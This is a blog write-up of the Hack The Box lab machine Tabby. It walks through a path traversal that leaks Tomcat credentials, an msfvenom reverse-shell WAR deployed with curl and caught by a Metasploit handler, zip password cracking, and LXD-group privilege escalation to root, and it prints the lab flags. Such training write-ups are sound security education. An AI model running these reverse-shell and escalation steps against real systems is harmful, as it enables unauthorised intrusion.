Home Hack The Box Write-Up Tabby - 10.10.10.194
Post
Cancel

Hack The Box Write-Up Tabby - 10.10.10.194

If you can’t give me poetry, can’t you give me poetical science?

Ada Lovelace

About Tabby

In this post, I’m writing a write-up for the machine Tabby from Hack The Box. Hack The Box is an online platform to train your ethical hacking skills and penetration testing skills

Tabby is a ‘Easy’ rated box. Grabbing and submitting the user.txt flag, your points will be raised by 10 and submitting the root flag you points will be raised by 20.

Foothold After the port scan, I’ve determined that this box is a webserver. I checked the HTTP website and found that this website is vulnerable for Path Traversal Attack. The other web service, running on the alternative HTTP port 8080/tcp, shows some interesting directories which I need to find through Path Traversal. In the end, I have used to documentation from Tomcat9 to find some more interesting directories and I was able to find the tomcat-users.xml file with a username and password.

User By uploading a WAR application with a Reverse Shell backdoor, I was able to get a shell on this box as the user tomcat. Through manual searching, for useful files, I found the 16162020_backup.zip file. I downloaded this file to my machine and used fcrackzip to brute-force the password. It seems that this password is for the user account ash, through the established reverse shell I was able to jump to the user ash and was able to read the user flag.

Root The user account ash is a member of the LXD group. From this privilege, I was able to escalate to root by exploiting the features of LXD. I have created an image, downloaded this image to the box, and mount the root file system to read the root flag.

Machine Info

Machine Name: Tabby
Difficulty: Easy
Points: 20
Release Date: 20 Jun 2020
IP: 10.10.10.194
Creator: egre55

Recon

Port scan with Nmap

As always I start the box with an port scan with Nmap.

1
nmap -sC -sV -oA ./nmap/10.10.10.194 10.10.10.194

The results.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-02 16:18 EDT
Nmap scan report for 10.10.10.194
Host is up (0.054s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Mega Hosting
8080/tcp open  http    Apache Tomcat
|_http-title: Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.12 seconds

The Nmap port scan is showing three open ports. When I look at these open ports, I can assume that I dealt with a webserver. There are two web services running on this server, one service on HTTP port 80/tcp and the other on the alternative HTTP port 8080/tcp. There is also SSH enabled on the server.

Exploitation

Path Traversal Attack

Let’s first check the webpage which is running on http://10.10.10.194. I’m landing on the homepage from the company Mega Hosting.

Hack-the-Box-Tabby-Mega-Hosting-website-1

I have clicked some around and I found that the hyperlink behind the button News goes to http://megahosting.htb/news.php?file=statement, it’s resulting in an error message that the page could not be found. After I’ve added the host megahosting.htb to my hosts file, I’m able to reach this webpage.

They obviously suffered a data breach, according to their statement. The URL takes a filename parameter and the file returns his contents. This file is somewhere stored on this webserver. If this web service does not have a defense again Path Traversal I can read arbitrary files via directory traversal. Let’s check that out.

Hack-The-Box-Tabby-Writeup-by-T13nn3s-News-page

I’ve used Burp Suite for the path traversal attack and after several attempts, I’m able to read the /etc/passwd file!

Hack-The-Box-Taby-Path-Traversal-Attack

From this file I’m able to determine the user accounts and whether they have access to login on this machine. I’ve copied the contents from this file to my notes and found the user clive, the username of this account is ash.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
tomcat:x:997:997::/opt/tomcat:/bin/false
mysql:x:112:120:MySQL Server,,,:/nonexistent:/bin/false
ash:x:1000:1000:clive:/home/ash:/bin/bash

I now know that this web service, running on the HTTP port is vulnerable for path traversal. Before I proceed further, I want to check out the second web service. I visited http://10.10.10.194:8080 and I landed on the tomcat9 test page. When I look closely at this webpage, I can notice some directories. Maybe I’m able to use path traversal to access these directories from the other web service. I noted down the directories:

  1. /usr/share/tomcat9 and /var/lib/tomcat9
  2. /usr/share/doc.tomcat9-common/
  3. /etc/tomcat9/tomcat-users.xml

Hack-The-Box-Tomcat9-website

I tried to perform a path traversal from this web service, but the service is not vulnerable. I noticed that this box is running Apache Tomcat version 9.0.31. I have to note down this version, it can be useful for searching for vulnerabilities. I’ve checked the URLs and found a login prompt. I tried some default username and password combinations, but nothing seems to work.

Hack-The-Box-Tabby-tomcat9-manager-log-in

After a while (2 hours :-)) I found the tomcat-users.xml, through path traversal, on this location: megahosting.htb/news.php?file=../../../../../../usr/share/tomcat9/etc/tomcat-users.xml. And I got a username and password!

Hack-The-Box-Tabby-tomcat-manager-username-and-password

I got the following credentials:

1
tomcat:$3cureP4s5w0rd123!

I have now established the foothold on this box.

Intrusion

Reverse Shell as tomcat

From the tomcat-users.xml file, I know that the user tomcat has the admin-gui and manager-script role. The last role is the interesting one; if I can execute scripts, then I can maybe execute a reverse shell to my attacker machine from the webserver. According to the documentation of Tomcat, it’s recommended to never grant the manager-script or manager-jmx roles to users that have the manager-gui role.’ The account tomcat has both of the privileges granted, so I have to use this is someway.

Hack-The-Box-Tabby-Tomcat-Virtual-Host-Manager

After a Google search on how I can deploy an virtual host, without the upload function, I ended up again with the documentation of Tomcat9. This documentation has an explanation on how I can deploy Remotely an application with an HTTP PUT request.

With msfvenom I crafted an WAR file with a reverse shell to my machine.

I need to find the credentials to get access to the manager page. So, let’s start to use the path traversal vulnerability to my advantage. I have tried to access the directories through the path traversal, but I’m not able to get any content from those files. From the documentation of Tomcat, I’ve learned that the file tomcat-users.xml is crucial and that this file also holds some usernames and passwords.

With msfvenom I crafted an WAR file with a reverse shell to my machine.

1
~$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.31 LPORT=4444 -f war > shell.war

I can use the HTTP PUT command to install this application on this machine. I used the founded credentials to authenticate against this box.

1
2
~$ curl --user 'tomcat:$3cureP4s5w0rd123!' --upload-file shell.war http://10.10.10.194:8080/manager/text/deploy?path=/shell.war
OK - Deployed application at context path [/shell.war]

After the reverse shell was uploaded to the machine, I tried to access this application by visiting this URL: http://10.10.10.194:8080/shell.war and the reverse shell is established. I directly upgraded the shell with Python3 to spawn a pty-shell.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
msf5 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set lhost 10.10.14.31
lhost => 10.10.14.31
msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.10.14.31:4444 
[*] Command shell session 1 opened (10.10.14.31:4444 -> 10.10.10.194:59330) at 2020-06-04 06:45:58 +0200

hostname && whoami
tabby
tomcat
python3 -c 'import pty; pty.spawn("/bin/bash")'
tomcat@tabby:/var/lib/tomcat9$ 

Lateral Movement

Jump to user account ash

The enumeration script LinEnum.sh does not found anything useful. After little time of manual searching. I found a zip file in the /var/www/html/files folder.

1
2
3
4
tomcat@tabby:/var/www/html/files$ ls
ls
16162020_backup.zip  archive  revoked_certs  statement
tomcat@tabby:/var/www/html/files$

I downloaded this file to my machine. For some reason, Metasploit is not able to download this file. I have to establish the reverse shell again to a netcat listener. On this page, I found an explanation on how to download files with netcat: https://nakkaya.com/2009/04/15/using-netcat-for-file-transfers/.

As this file is protected by a password, I used fcrackzip to brute-force this password with the rockyou.txt wordlist. cracked this zip-file and found the password admin@it. Through my reverse shell, I switched to the user account ash and I was able to read the user flag.

1
2
3
4
5
6
7
8
tomcat@tabby:/var/www/html/files$ su - ash
su - ash
Password: admin@it

ash@tabby:~$ cat user.txt
cat user.txt
18e5cf221a1c98ab03a586564f7ce167
ash@tabby:~$

Privilege Escalation

The user ash has no privileges to run anything with sudo persmissions. But, what I’ve found is that this user is member of some groups. I ended up on Google and searched for what those groups meaning and there is a path to privilege escalation when the user is member of the lxd group.

1
2
3
4
ash@tabby:~$ id
id
uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)
ash@tabby:~$

I found this article for privilege escalation: https://www.hackingarticles.in/lxd-privilege-escalation/. What I’ve done is very simple; I just followed the steps in this article. I prepared the exploit first by creating an LXC image.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
~$ git clone https://github.com/saghul/lxd-alpine-builder
~$ ./build-alpine                                                                                                                                                             
Determining the latest release... v3.12                                                                                                                                                                                                
Using static apk from http://dl-cdn.alpinelinux.org/alpine//v3.12/main/x86_64                                                                                                                                                          
Downloading alpine-mirrors-3.5.10-r0.apk                                                                                                                                                                                               
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
Downloading alpine-keys-2.2-r0.apk
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
Downloading apk-tools-static-2.10.5-r1.apk
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
[email protected]: OK
Verified OK
Selecting mirror http://mirror.neostrada.nl/alpine/v3.12/main
fetch http://mirror.neostrada.nl/alpine/v3.12/main/x86_64/APKINDEX.tar.gz
(1/19) Installing musl (1.1.24-r6)
(2/19) Installing busybox (1.31.1-r15)
Executing busybox-1.31.1-r15.post-install
(3/19) Installing alpine-baselayout (3.2.0-r5)
Executing alpine-baselayout-3.2.0-r5.pre-install
Executing alpine-baselayout-3.2.0-r5.post-install
(4/19) Installing openrc (0.42.1-r9)
Executing openrc-0.42.1-r9.post-install
(5/19) Installing alpine-conf (3.8.3-r7)
(6/19) Installing libcrypto1.1 (1.1.1g-r0)
(7/19) Installing libssl1.1 (1.1.1g-r0)
(8/19) Installing ca-certificates-bundle (20191127-r2)
(9/19) Installing libtls-standalone (2.9.1-r1)
(10/19) Installing ssl_client (1.31.1-r15)
(11/19) Installing zlib (1.2.11-r3)
(12/19) Installing apk-tools (2.10.5-r0)
(13/19) Installing busybox-suid (1.31.1-r15)
(14/19) Installing busybox-initscripts (3.2-r2)
Executing busybox-initscripts-3.2-r2.post-install
(15/19) Installing scanelf (1.2.5-r2)
(16/19) Installing musl-utils (1.1.24-r6)
17/19) Installing libc-utils (0.7.2-r3)
(18/19) Installing alpine-keys (2.2-r0)
(19/19) Installing alpine-base (3.12_alpha20200428-r0)
Executing busybox-1.31.1-r15.trigger
OK: 8 MiB in 19 packages

After the preparation of the exploit, I need to put this image on the machine.

1
2
3
4
5
6
7
8
9
10
11
12
13
ash@tabby:~$ wget 10.10.14.31/alpine-v3.12-x86_64-20200704_1040.tar.gz
wget 10.10.14.31/alpine-v3.12-x86_64-20200704_1040.tar.gz
--2020-07-04 14:59:04--  http://10.10.14.31/alpine-v3.12-x86_64-20200704_1040.tar.gz
Connecting to 10.10.14.31:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3195727 (3.0M) [application/gzip]
Saving to: ‘alpine-v3.12-x86_64-20200704_1040.tar.gz’

alpine-v3.12-x86_64 100%[===================>]   3.05M  58.4KB/s    in 42s     

2020-07-04 14:59:47 (73.6 KB/s) - ‘alpine-v3.12-x86_64-20200704_1040.tar.gz’ saved [3195727/3195727]

ash@tabby:~$

I’ve added my image to the LXC image list.

1
2
3
4
5
6
7
8
9
10
11
12
ash@tabby:~$ lxc image import alpine-v3.12-x86_64-20200704_1040.tar.gz --alias myimage              
<e-v3.12-x86_64-20200704_1040.tar.gz --alias myimage
ash@tabby:~$ lxc image list
lxc image list
+-----------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+
|   ALIAS   | FINGERPRINT  | PUBLIC |          DESCRIPTION          | ARCHITECTURE |   TYPE    |  SIZE  |         UPLOAD DATE          |
+-----------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+
| myimage   | f425b0018d3a | no     | alpine v3.12 (20200704_10:40) | x86_64       | CONTAINER | 3.05MB | Jul 4, 2020 at 3:01pm (UTC)  |
+-----------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+
| something | 63cbf360eb2b | no     | alpine v3.12 (20200704_11:43) | x86_64       | CONTAINER | 3.06MB | Jul 4, 2020 at 12:11pm (UTC) |
+-----------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+
ash@tabby:~$

I mounted the image in the root directory and I was able to perform the privilege escalation and read the root flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
ash@tabby:~$ lxc image import 10:00 alpine-v3.12-x86_64-20200706_0600.tar.gz.1 --alias myimage              
<v3.12-x86_64-20200706_0600.tar.gz.1 --alias myimage
Error: open 10:00: no such file or directory
ash@tabby:~$ ls
ls
alpine-v3.12-x86_64-20200706_0600.tar.gz    metadata.yaml  templates
alpine-v3.12-x86_64-20200706_0600.tar.gz.1  rootfs         user.txt
a.tar                                       snap           wget-log
ash@tabby:~$ lxc image import "alpine-v3.12-x86_64-20200706_0600.tar.gz.1" --alias myimage    
<3.12-x86_64-20200706_0600.tar.gz.1" --alias myimage
ash@tabby:~$ lxc image list
lxc image list
+---------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+
|  ALIAS  | FINGERPRINT  | PUBLIC |          DESCRIPTION          | ARCHITECTURE |   TYPE    |  SIZE  |         UPLOAD DATE          |
+---------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+
| myimage | 20e75a455131 | no     | alpine v3.12 (20200706_06:00) | x86_64       | CONTAINER | 3.04MB | Jul 6, 2020 at 10:30am (UTC) |
+---------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+
|         | 2ba24dd36a6b | no     | alpine v3.12 (20200704_18:37) | x86_64       | CONTAINER | 3.06MB | Jul 4, 2020 at 6:02pm (UTC)  |
+---------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+
|         | f9e52ed9ec7a | no     | alpine v3.12 (20200706_09:20) | x86_64       | CONTAINER | 3.06MB | Jul 6, 2020 at 8:53am (UTC)  |
+---------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+
ash@tabby:~$ lxc init myimage ignite -c security.privileged=true
lxc init myimage ignite -c security.privileged=true
Creating ignite
ash@tabby:~$ lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
<ydevice disk source=/ path=/mnt/root recursive=true
Device mydevice added to ignite
ash@tabby:~$ lxc start ignite
lxc start ignite
ash@tabby:~$ lxc exec ignite /bin/sh
lxc exec ignite /bin/sh
~ # ^[[58;5Rid
id
uid=0(root) gid=0(root)
~ # ash@tabby:~$ lxc exec ignite /bin/sh                                                                                                                                                                         
lxc exec ignite /bin/sh                                                                                                                                                                                      
~ # cd /mnt/root/root                                                                                                                                                                                        
cd /mnt/root/root                                                                                                                                                                                            
/mnt/root/root # cat root.txt                                                                                                                                                                                
cat root.txt                                                                                                                                                                                                 
bb68e427401be4ce96373472573f6907

Thanks for reading this write-up! Did you enjoy reading this write-up? Or learned something from it? Please consider spending a respect point: https://app.hackthebox.com/profile/224856.com/profile/224856. Thanks!

Happy Hacking :-)

This post is licensed under CC BY 4.0 by the author.